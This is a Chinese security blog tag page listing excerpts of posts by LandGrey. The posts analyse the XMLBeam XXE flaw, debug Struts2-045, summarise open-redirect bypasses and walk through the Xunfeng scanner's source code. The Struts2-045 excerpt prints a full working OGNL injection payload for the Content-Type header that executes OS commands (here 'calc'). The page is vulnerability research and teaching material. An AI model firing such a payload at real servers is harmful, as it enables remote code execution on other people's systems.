"网络安全" 标签

XMLBeam-XXE(CVE-2018-1259)漏洞简析

作者: LandGrey ●   创建时间: 2018年8月21日 01:50 ●   标签:   #分享,   #网络安全,   #代码审计

0x00: 漏洞信息 根据 CVE-2018-1259 的信息可知, Spring Data Commons 版本在 1.13—1.13.11 和 2.0—2.0.6 ,Spring Data REST 版本在 2.6-2.6.11 和 3.0-3.0.6,因为使用了小于等于 1.4.14 版本的 XMLBeam 导致存在XML实体注入漏洞。 0x01: 环境搭建 由于 XXE 漏洞实际是存在于 XMLBeam 中,所以我们写一个简单的调用 XMLBeam 的代码,用来触发漏洞,版本就选择可以触发漏洞的最新版 XMLBeam ,所以首先下载 1.4.14版本 XMLBeam 备用。 然后使用 IDEA 创建一个 名为 demo 的 Spring Boot 应用,主要是添加一个 "/login" RequestMapping URL映射路径,模拟使用XML数据认证进行登录。 主要代码文件 ...

更多 →

struts2-045漏洞Debug与POC分析

作者: LandGrey ●   创建时间: 2018年8月19日 14:39 ●   标签:   #网络安全,   #Web安全备忘录,   #代码审计

0x00:环境准备 通过 Apache Struts2 Release 页面可知:受struts2-045(CVE-2017-5638)漏洞影响的最新struts版本为 Struts 2.5.10, 在官方 archive 页面下载Struts 2.5.10 showcase(app)版本,用Tomcat 7本地部署应用进行debug。 0x01:调试准备 补丁移除了 apache/struts2/interceptor/FileUploadInterceptor.java 文件中 LocalizedTextUtil.findText() 函数对错误信息的处理部分: 漏洞信息: 1.漏洞发生在 Jakarta 上传解析器 2.受影响struts版本是Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10 3.通过Content-Type这个header头,进而执行命令,通过 Strus2 对错误消息的处理进行回显 POC (Windows 弹计算器): ${(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='calc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; 0x02:正式调试 根据上面的信息,用IDEA 在 struts2-core-2.5.10.jar!/org/apache/struts2/dispatcher/Dispatcher.class 第584行下第一个断点: 然后如下图所示,用Burpsuite在 HTTP Content-Type ...

更多 →

URL跳转漏洞bypass小结

作者: LandGrey ●   创建时间: 2017年12月9日 21:28 ●   标签:   #渗透测试,   #网络安全,   #Web安全备忘录

下面是owasp对URL跳转漏洞,也叫开放重定向漏洞(open redirect)的一段描述:Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal ...

更多 →

巡风源码浅析之VulScan分析篇

作者: LandGrey ●   创建时间: 2017年12月8日 16:17 ●   标签:   #python,   #网络安全

巡风是一款适用于企业内网的漏洞快速应急、巡航扫描系统,通过搜索功能可清晰的了解内部网络资产分布情况,并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表。 开源地址: https://github.com/ysrc/xunfeng0x00: VulScan介绍查看介绍前,请先查看 巡风源码浅析之Nascan分析篇 的“0x01:分析准备”。VulScan部分的目录结构可抽象为:│ VulScan.py │ └─vuldb │ ***.py │ ***.json │ ├─nmb │ ***** ├─pyasn1 │ ***** └─smb └ *****其中主要的逻辑都在VulScan.py中,其它放置了几个外部模块nmb、pyasn1和smb;扫描插件有两种,放置在vuldb文件夹下,一是python脚本型插件,一是json文件型插件;本文主要分析VulScan.py文件并选取一个python脚本型插件、一个json文件型插件做简要说明,和Nascan相比,这部分代码少很多,逻辑也不复杂,所以会啰嗦一点,可能更适合新手学习。0x01: VulScan分析脚本开头执行了下面几行代码sys.path.append(sys.path[0] + '/vuldb')sys.path.append(sys.path[0] + "/../")from Config import ProductionConfig主要是将vuldb目录和上级目录加入系统路径中,可以直接 from Config import ProductionConfig 和导入python脚本型插件。然后进行了数据库连接和一些变量初始化工作。看一下程序入口:if __name__ == '__main__': # 插件初始化加载 init() # 将密码字典、运行线程数、超时时间、ip地址白名单从数据库中取出 PASSWORD_DIC, THREAD_COUNT, TIMEOUT, WHITE_LIST = get_config() ...

更多 →

巡风源码浅析之Nascan分析篇

作者: LandGrey ●   创建时间: 2017年11月18日 19:39 ●   标签:   #python,   #网络安全

巡风是一款适用于企业内网的漏洞快速应急、巡航扫描系统,通过搜索功能可清晰的了解内部网络资产分布情况,并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表。 开源地址: https://github.com/ysrc/xunfeng0x00: 起因 巡风算是国内开源扫描器中的一个良心产品了,研究下里面的扫描流程和代码逻辑对以后的工作想必大有裨益。 巡风的辅助验证脚本Aider 和我写的 dnstricker 的思路很相似,代码也不复杂,不做单独分析。巡风的项目一直在更新,所以可能在代码上会有些许出入。0x01: 分析准备巡风使用python语言开发,基于Flask Web框架和Mongodb数据库。我自己按照代码位置和代码逻辑,将巡风的架构大致分为三个部分,分别是Nascan、Vulscan和Flask web实现。分析篇也大概按照这三个部分介绍。首先是先搭建起巡风,正常扫描一次,然后进入数据库,了解数据库结构。Mongodb数据库的一个特点就是键值对表示。文档(document)组成集合(collection),集合(collection)再组成数据库(db),有时在文档和集合间可能还会有子集合。粗略的表示就是document -> sub collection -> collection -> db进入数据库查看,了解大体的集合情况:> show dbs admin 0.000GB local 0.000GB xunfeng 0.001GB > use xunfeng switched to db xunfeng > show collections Config # 各种配置信息 Heartbeat # 记录程序最新心跳时间 History # 删除历史目标的记录信息 Info # 存储目标ip,名字,banner,开放端口和服务类型等信息 Plugin ...

更多 →
<